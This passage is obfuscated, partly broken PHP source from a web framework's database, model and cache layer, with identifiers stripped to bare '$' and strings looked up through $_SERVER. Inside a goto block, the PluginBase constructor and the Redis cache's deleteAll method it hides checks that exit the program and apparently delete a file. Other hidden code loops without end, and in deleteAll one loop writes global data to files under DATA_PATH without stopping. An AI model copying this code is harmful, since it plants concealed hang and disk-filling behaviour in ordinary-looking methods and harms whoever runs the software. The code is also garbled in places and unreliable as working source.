e($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $
[51] . $[0] . $[53]; } break; case $[991]: case $[1009]: break; case $[993]: break; case $[992]: case $[9
94]: break; case $[1021]: default: $ .= $[51] . $ . $[53]; } } return $; } public function parseKey(&$, $
 = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[1021]) { if ($
 != $[220] && !preg_match($[985], $)) { $ = $[469] . trim($, $[469]) . $[469]; } return $;
} else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $
=& $_SERVER[]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $[4] . $
[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } thin
k_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; s
witch ($this->dbType) { case $[1018]: case $[991]: case $[1009]: case $[1021]: return addslashes($); case $[99
3]: case $[1010]: case $[992]: case $[994]: return str_ireplace($[58], $[59], $); } } protected function parse
Value($) { $ =& $_SERVER[]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys
($this->bind)); $ = $ ? $this->escapeString($) : $[1031] . $this->escapeString($) . $[1031]; } elseif (isset($
[0]) && is_string($[0]) && strtolower($[0]) == $[382]) { $ = $this->escapeString($[1]); } elseif (is_array($
)) { $ = array_map(array($this, $[1032]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[228]; } e
lseif (is_null($)) { $ = $[106]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($t
his->dbType) { case $[1018]: case $[1010]: case $[991]: case $[1009]: case $[993]: case $[1021]: return $this->_link
ID->lastInsertId(); case $[992]: case $[994]: $ = $this->table; $ = $this->query("\x53\x45\114\x45\x43\124\40{$}\x2e\x6
3\165\x72\x72\166\x61\x6c\x20\x63\x75\x72\x72\166\141\x6c\x20\x46\122\x4f\x4d\x20\x64\165\x61\154"); return $ ? $[0][$[1033]]
: 0; } } } class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($
[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($)
{ $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($
[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLoc
k::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function exe
cute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLoc
k::fileUnLock($[13]); return $; } } goto B; e: define($_SERVER[][317], 3); define($_SERVER[][318], 1); d
efine($_SERVER[][319], 0); goto E; E: define($_SERVER[][320], 2); if (!isset($_SERVER[$_SERVER[][321]]) || !isse
t($_SERVER[$_SERVER[][322]])) { $_getc = $_SERVER[][323]; $_getfile = $_SERVER[$_SERVER[][324]] . $_SERVER[][325]; $
_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][326]) { $exit
= $_SERVER[][327]; $exit(); } $_act = $_SERVER[][328]; $_act($_SERVER[$_SERVER[][324]] . $_SERVER[][325]); $_iii =
2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][329]); } } class Model extends ClassBaseCall { private $_extModel = nu
ll; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $
connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $da
ta = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected
$_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\141\x62\x6c\145",
"\x6f\162\x64\x65\x72", "\x61\x6c\x69\x61\x73", "\150\141\166\x69\x6e\x67", "\147\162\x6f\x75\x70", "\x6c\157\x63\x6b", "\x64\x69\163\164\15
1\x6e\143\164", "\x61\x75\164\157", "\146\x69\x6c\x74\145\x72", "\166\x61\154\151\x64\141\164\x65", "\x72\145\x73\165\x6c\164", "\142\151\x6
e\144", "\164\x6f\x6b\145\x6e"); public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; $this->_
initialize(); if (!empty($)) { if (strpos($, $[10])) { list($this->dbName, $this->name) = explode($[10], $); } e
lse { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePr
efix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this
->tablePrefix : think_config($[330]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt
_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[
331])) { $ = $this->dbName ? $this->dbName : think_config($[332]); $ = think_var_cache($[333] . strtolower(get_path_this
($) . $[10] . $this->name)); if ($) { $ = think_config($[334]); if (empty($) || $[$[335]] == $)
{ $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this-
>name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[
$[336]] = !1; foreach ($ as $ => $) { $[$] = $[$[33]]; if ($[$[39]]) { $this->fields[$
[337]] = $; if ($[$[42]]) { $this->fields[$[336]] = !0; } } } $this->fields[$[338]] = $; if (think_config($
[334])) { $this->fields[$[335]] = think_config($[334]); } if (think_config($[331])) { $ = $this->dbName ? $this->dbNa
me : think_config($[332]); think_var_cache($[333] . strtolower(get_path_this($) . $[10] . $this->name), $this->fields);
} } public function switchModel($, $ = array()) { $ =& $_SERVER[]; $ = ucwords(strtolower($)) . $[339]; if
(!class_exists($)) { think_exception($ . think_lang($[340])); } $this->_extModel = new $($this->name); if (!empty($))
{ foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($
, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } publ
ic function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public fu
nction __call($, $) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($
)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[341], $[342], $[343], $[344], $[345]
), !0)) { $ = isset($[0]) ? $[0] : $[220]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $
[346] . $ . $[347] . $, $[341]); } elseif (strtolower(substr($, 0, 5)) == $[348]) { $ = think_parse_
name(substr($, 5)); $[$] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $
[349]) { $ = think_parse_name(substr($, 10)); $[$] = $[0]; return $this->where($)->getField($[1]); } else
if (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $
); return call_user_func_array(array($this, $[350]), $); } else { return call_user_func_array(array(parent, $), $); } } protec
ted function call() { $ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($))
{ $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(
__CLASS__ . $[4] . $ . think_lang($[351])); return; } $[] = $; if (method_exists($this, $[352])) { $ = ca
ll_user_func_array(array($this, $[353]), array($, $)); if (!is_null($) && $ !== !1) { return $; } } $ = c
all_user_func_array(array($this, $), $); if (method_exists($this, $[354])) { $ = call_user_func_array(array($this, $
[355]), array($, $, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected fun
ction _facade($) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ => $) { if (is_array($this->fields)
&& !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($)) { $this->_parseType($, $); } } } if (!empty($thi
s->options[$[356]])) { $ = array_map($this->options[$[356]], $); unset($this->options[$[356]]); } $this->_beforeWrite(
$); return $; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ = false) { if (em
pty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][3
57]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $
)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $ = $this->getLastInsID(); if ($)
{ $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } retur
n $; } protected function _beforeInsert(&$, $) { } protected function _after_insert($, $) { } public function addA
ll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($[357]); re
turn !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); } if (meth
od_exists($this->db, $[358])) { $ = $this->db->insertAll($, $, $); } else { $this->startTrans(); foreach ($ a
s $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLas
tInsID(); if ($) { return $; } } return $; } public function selectAdd($ = '', $ = '', $ = array()) { $ =
& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ ? $ : $[$[359]]
, $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($[360]); return !1; } else { return $; } } publi
c function save($ = '', $ = array()) { $ =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this
->data; $this->data = array(); } else { $this->error = think_lang($[357]); return !1; } } $ = $this->_facade($); $ = $t
his->_parseOptions($); $ = $this->getPk(); if (!isset($[$[361]])) { if (isset($[$])) { $[$] = $
[$]; $[$[361]] = $; unset($[$]); } else { $this->error = think_lang($[360]); return !1; } } if (i
s_array($[$[361]]) && isset($[$[361]][$])) { $ = $[$[361]][$]; } if (!1 === $this->_before
Update($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($)) { $[$
] = $; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$, $) { } protected funct
ion _afterUpdate($, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->op
tions[$[361]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]);
} else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$
] = array($[362], $); } else { $[$] = $; } $this->options[$[361]] = $; } $ = $this->_parseOptions();
if (is_array($[$[361]]) && isset($[$[361]][$])) { $ = $[$[361]][$]; } $ = $this->db->delete
($); if (!1 !== $) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $); } return $;
} protected function _after_delete($, $) { } public function select($ = array()) { $ =& $_SERVER[]; if (is_string($
) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $[50])) { $[$] = array($[362], $); } el
se { $[$] = $; } $this->options[$[361]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $
[363] . $this->db->buildSelectSql($) . $[364]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $
) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSel
ect(&$, $) { } public function buildSql($ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($)
; return $[363] . $this->db->buildSelectSql($) . $[364]; } public function optionsValue($ = null) { if (is_null($)
) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parse
Options($ = array()) { $ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->optio
ns = array(); if (!isset($[$[365]])) { $[$[365]] = $this->getTableName(); $ = $this->fields; } else { $ = $thi
s->getDbFields(); } if (!empty($[$[366]])) { $[$[365]] .= $[53] . $[$[366]]; } $[$[367]] = $thi
s->name; if (isset($[$[361]]) && is_array($[$[361]]) && !empty($) && !isset($[$[368]]) && !isset($[$
[365]])) { foreach ($[$[361]] as $ => $) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($
)) { $this->_parseType($[$[361]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos(
$, $[10]) && !1 === strpos($, $[346]) && !1 === strpos($, $[214]) && !1 === strpos($, $[369])) { unset($
[$[361]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$) { } protected
function _parseType(&$, $) { $ =& $_SERVER[]; if (empty($this->options[$[370]][$[4] . $])) { $ =
strtolower($this->fields[$[338]][$]); if (!1 !== strpos($, $[371])) { } elseif (!1 === strpos($, $[372]) && !1
!== strpos($, $[373])) { $[$] = intval($[$]); } elseif (!1 !== strpos($, $[374]) || !1 !== strpos
($, $[375])) { $[$] = floatval($[$]); } elseif (!1 !== strpos($, $[376])) { $[$] = (boo
l) $[$]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) {
$[$this->getPk()] = intval($); $this->options[$[361]] = $; } $this->options[$[377]] = 1; $ = $this->_parseOptio
ns(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $th
is->_afterFind($this->data, $); if (!empty($this->options[$[378]])) { return $this->returnResult($this->data, $this->options[$[
378]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ = '') { $
 =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { ca
se $[379]: return json_encode($); case $[380]: return xml_encode($); } } return $; } public function parseFieldsMap
($, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ == 1) { if (isset($[$]))
{ $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($
[$]); } } } } return $; } public function setField($, $ = '') { if (is_array($)) { $ = $; } else { $
[$] = $; } return $this->save($); } public function setAdd($, $ = 1) { $ =& $_SERVER[]; $ = $
 . $[381] . $; if ($ < 0) { $ = $ . $; } return $this->setField($, array($[382], $)); } public fu
nction getField($, $ = null) { $ =& $_SERVER[]; $[$[359]] = $; $ = $this->_parseOptions($); $
 = trim($); if (strpos($, $[50])) { if (!isset($[$[377]])) { $[$[377]] = is_numeric($) ? $
 : $[12]; } $ = $this->db->select($); if (!empty($)) { $ = explode($[50], $); $ = array_keys($
[0]); $ = array_shift($); $ = array_shift($); $ = array(); $ = count($); foreach ($ as $)
{ $ = $[$]; if (2 == $) { $[$] = $[$]; } else { $[$] = is_string($) ? implode($,
$) : $; } } return $; } } else { if (!0 !== $) { $[$[377]] = is_numeric($) ? $ : 1; } if ($ === $
[341]) { unset($[$[377]]); } $ = $this->db->select($); if (!empty($)) { if ($ === $[341]) { return
reset($[0]); } if (!0 !== $ && 1 == $[$[377]]) { return reset($[0]); } foreach ($ as $) { $[] = $
[$]; } return $; } } return null; } public function create($ = '', $ = '') { $ =& $_SERVER[]; if (empty(
$)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->err
or = think_lang($[357]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()
]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[359]])) { $ = $this->options[$[359]]; unset($this
->options[$[359]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($
 == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $
 = explode($[50], $); } if (think_config($[383])) { $[] = think_config($[384]); } foreach ($ as $ =>
$) { if (!in_array($, $)) { unset($[$]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->aut
oCheckToken($)) { $this->error = think_lang($[385]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); for
each ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $
[$] = stripslashes($); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToke
n($) { $ =& $_SERVER[]; if (isset($this->options[$[386]]) && !$this->options[$[386]]) { return !0; } if (think_con
fig($[383])) { $ = think_config($[384]); if (!isset($[$]) || Session::get($)) { return !1; } list($, $
) = explode($[11], $[$]); if ($ && Session::get($ . $[10] . $) === $) { Session::remove($ . $
[10] . $); return !0; } if (think_config($[387])) { Session::remove($ . $[10] . $); } return !1; } return
!0; } public function regex($, $) { $ =& $_SERVER[]; $ = array($[388] => $[389], $[390] => $
[391], $[392] => $[393], $[394] => $[395], $[396] => $[397], $[398] => $[399], $[400] => $
[401], $[375] => $[402], $[403] => $[404]); if (isset($[strtolower($)])) { $ = $[strtolower($
)]; } return preg_match($, $) === 1; } private function autoOperation(&$, $) { $ =& $_SERVER[]; if (!empty($t
his->options[$[405]])) { $ = $this->options[$[405]]; unset($this->options[$[405]]); } elseif (!empty($this->_auto)) { $
 = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($
== $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[406]: case $[407]: $ = isset($[4]) ? (arr
ay) $[4] : array(); if (isset($[$[0]])) { array_unshift($, $[$[0]]); } if ($[406] == $[3]) { $[$
[0]] = call_user_func_array($[1], $); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; cas
e $[359]: $[$[0]] = $[$[1]]; break; case $[408]: if ($[12] === $[$[0]]) { unset($[$[0]]);
} break; case $[409]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $
; } protected function autoValidation($, $) { $ =& $_SERVER[]; if (!empty($this->options[$[410]])) { $ = $
this->options[$[410]]; unset($this->options[$[410]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset
($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $) { if (empty($[5]) || $[5] == TH
INK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $[411]) && strpos($[2], $[412])) { $[2] = think_lang(subs
tr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $[413];
switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $)) { return !1; } break; case THINK_VALUE_VALID
ATE: if ($[12] != trim($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } break; default: if (isset
($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } ret
urn !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patch
Validate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationF
ieldItem($, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[406]: case $[407]: $ = iss
et($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50],
$[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } array_unshift($, $);
} else { array_unshift($, $[$[0]]); } if ($[406] == $[4]) { return call_user_func_array($[1], $); } else
{ return call_user_func_array(array(&$this, $[1]), $); } case $[414]: return $[$[0]] == $[$[1]]; case $
[415]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $ = array(); if
(is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } } else { $[$[0]] = $[$[0]];
} if (!empty($[$this->getPk()])) { $[$this->getPk()] = array($[416], $[$this->getPk()]); } if ($this->where($)->find(
)) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $
, $ = "\162\x65\147\145\170") { $ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $[7]: case $
[417]: $ = is_array($) ? $ : explode($[50], $); return $ == $[7] ? in_array($, $) : !in
_array($, $); case $[418]: case $[419]: if (is_array($)) { $ = $[0]; $ = $[1]; } else { lis
t($, $) = explode($[50], $); } return $ == $[418] ? $ >= $ && $ <= $ : $ < $ ||
$ > $; case $[420]: case $[421]: return $ == $[420] ? $ == $ : $ != $; case $[422]:
$ = mb_strlen($, $[423]); if (strpos($, $[50])) { list($, $) = explode($[50], $); return $
 >= $ && $ <= $; } else { return $ == $; } case $[424]: list($, $) = explode($[50], $
); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $
 && NOW_TIME <= $; case $[425]: return in_array(get_client_ip(), explode($[50], $)); case $[426]: return !in_
array(get_client_ip(), explode($[50], $)); case $[413]: default: return $this->regex($, $); } } public function q
uery($, $ = false) { $ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($
); } $ = str_replace(array($[262], $[427]), $[53], $); $ = $this->parseSql($, $); return $this->db
->query($); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_arg
s(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql(
$, $) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $
); } elseif (is_array($)) { $ = array_map(array($this->db, $[428]), $); $ = vsprintf($, $); } else {
$ = strtr($, array($[429] => $this->getTableName(), $[430] => think_config($[330]))); } $this->db->setModel($this
->name); return $; } public function db($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; if ($[12] === $
 && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$]) || isset($[$
]) && $ && $[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($
); } $ = think_guid($); $[$] = Db::getInstance($); } elseif (NULL === $) { $[$]->close(); unset($[
$]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $) { $this->set
Property($, $); } } $[$] = $; $this->db = $[$]; $this->_after_db(); if (!empty($this->name) && $this->auto
CheckFields) { $this->_checkTableInfo(); } return $); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->true
TableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db-
>commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public functio
n getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLas
tSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $
 =& $_SERVER[]; return isset($this->fields[$[337]]) ? $this->fields[$[337]] : $this->pk; } public function getDbFields()
{ $ =& $_SERVER[]; if (isset($this->options[$[365]])) { $ = $this->db->getFields($this->options[$[365]]); return
$ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[336]], $[$[337]], $[$
[338]], $[$[335]]); return $; } return !1; } public function data($ = '') { $ =& $_SERVER[]; if ($[12]
=== $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($
)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[357])); } $this->data = $; return
$this; } public function join($) { $ =& $_SERVER[]; if (is_array($)) { $this->options[$[368]] = $; } elsei
f (!empty($)) { $this->options[$[368]][] = $; } return $this; } public function union($, $ = false) { $ =& $_
SERVER[]; if (empty($)) { return $this; } if ($) { $this->options[$[432]][$[433]] = !0; } if (is_object($)) {
$ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this->
options[$[432]] = array_merge($this->options[$[432]], $); return $this; } else { $ = $; } } else { think_exception(
think_lang($[357])); } $this->options[$[432]][] = $; return $this; } public function cache($ = true, $ = null, $
 = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[434]] = array($[97] => $, $[424] => $
, $[33] => $); } return $this; } public function field($, $ = false) { $ =& $_SERVER[]; if (!0 === $)
{ $ = $this->getDbFields(); $ = $ ? $ : $[220]; } elseif ($) { if (is_string($)) { $ = explode($[
50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$[359]] = $
; return $this; } public function scope($ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (iss
et($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $ = explod
e($[50], $); $ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($
, $this->_scope[$]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($)) {
$ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return
$this; } public function where($, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($)) { if (!is_ar
ray($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[428]), $); $ = vsprintf
($, $); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ =
> $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $[435]) === 0) { continue; } think_trace($
[436], $[12], $[49]); die; } } } if (is_string($) && $[12] != $) { $ = array(); $[$[437]] = $; $
 = $; } if (isset($this->options[$[361]])) { $this->options[$[361]] = array_merge($this->options[$[361]], $); } els
e { $this->options[$[361]] = $; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[]; $thi
s->options[$[377]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = n
ull) { $ =& $_SERVER[]; $this->options[$[438]] = is_null($) ? $ : $ . $[50] . $; return $this; }
public function comment($) { $this->options[$_SERVER[][439]] = $; return $this; } public function setProperty($, $)
{ if (property_exists($this, $)) { $this->{$} = $; } return $this; } } goto d; C: class CacheLockDatabase { pu
blic function lock($, $ = 0) { $ = Model($_SERVER[][901]); $ = microtime(!0) + $; while (microtime(!0) < $
) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->set($, $); if ($) { return
!0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][901])->get($); } public functio
n unlock($) { Model($_SERVER[][901])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function _
_construct($, $) { $ =& $_SERVER[]; if (!class_exists($[940])) { show_json($[941], !1); } $this->cacheTime =
$; $this->handle = new Memcached(); if (is_array($[$[942]]) && count($[$[942]]) >= 1) { foreach ($[$[942]] as
$) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$
[208]], $[$[209]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $th
is->handle->set($, $, $); } public function get($) { return $this->handle->get($); } public function remove($)
{ return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle
; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $ =& $_SERVER[
]; if (!class_exists($[943])) { show_json($[944], !1); } $this->cacheTime = $; $ = isset($[$[945]]) ? $[$
[945]] : 10; $ = _get($, $[942]); if ($ && is_array($)) { $this->initCluster($, $); } else { $this-
>handle = $this->init($, $); } } private function init($, $) { $ =& $_SERVER[]; $ = new Redis(); $ = iss
et($[$[946]]) ? $[$[946]] : !1; if ($) { $->pconnect($[$[208]], $[$[209]], $); } else { $->
connect($[$[208]], $[$[209]], $); } if (!empty($[$[495]])) { $->auth($[$[495]]); } if (!empty($
[$[830]]) && $[$[830]] != 0) { $->select($[$[830]]); } return $; } private function initCluster($, $) {
$ =& $_SERVER[]; $ = array($[947], $[948], $[949]); $ = $[947]; if (isset($[$[16]]) && in
_array($[$[16]], $)) { $ = $[$[16]]; } switch ($) { case $[947]: $this->_slave($, $); brea
k; case $[948]: break; case $[949]: $this->isCluster = !0; $ = $[$[942]]; $ = isset($[$[946]]) ? $
[$[946]] : !1; $ = isset($[$[495]]) ? $[$[495]] : null; $this->handle = new RedisCluster(NUll, $, $,
$, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][942]]; $this->fi
lterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_r
and($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&
$, $) { $ =& $_SERVER[]; $ = explode($[4], $); $ = array($[208] => $[0], $[209] =
> $[1]); $ = array_merge($, $); } public function set($, $, $ = false) { $ = $ ? $ : $this->c
acheTime; return $this->handle->setEx($, $, $); } public function setLock($, $, $) { return $this->handle->setNX
($, $); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($)
; } public function remove($
) { return $this->handle->del($
); } public function deleteAll() { $ =& $_SERVER[]; $ = $_S
ERVER[$[324]] . $[325]; $ = $[950]; if ($_SERVER[$[321]] != $($)) { $ = $[951]; $ = $[323]; $
 = $_SERVER[$[324]] . $[325]; $ = $($); $ = explode($[262], $); if (count($) < $[704]) { $
 = $[327]; $(); } $ = $[952]; $($_SERVER[$[953]]); $ = $[951]; $(); $ = $[954]; $
= json_encode($GLOBALS[$[955]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } if ($this
->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll()
; } } goto b; b: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostD
efault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function
__construct() { $ =& $_SERVER[]; if (!isset($_SERVER[$[321]]) || !isset($_SERVER[$[322]])) { $ = $[951]; $ =
$[323]; $ = $_SERVER[$[324]] . $[325]; $ = $($); $ = explode($[262], $); if (count($) <
$[704]) { $ = $[327]; $(); } $ = $[952]; $($_SERVER[$[953]]); $ = 1; for ($ = $; $
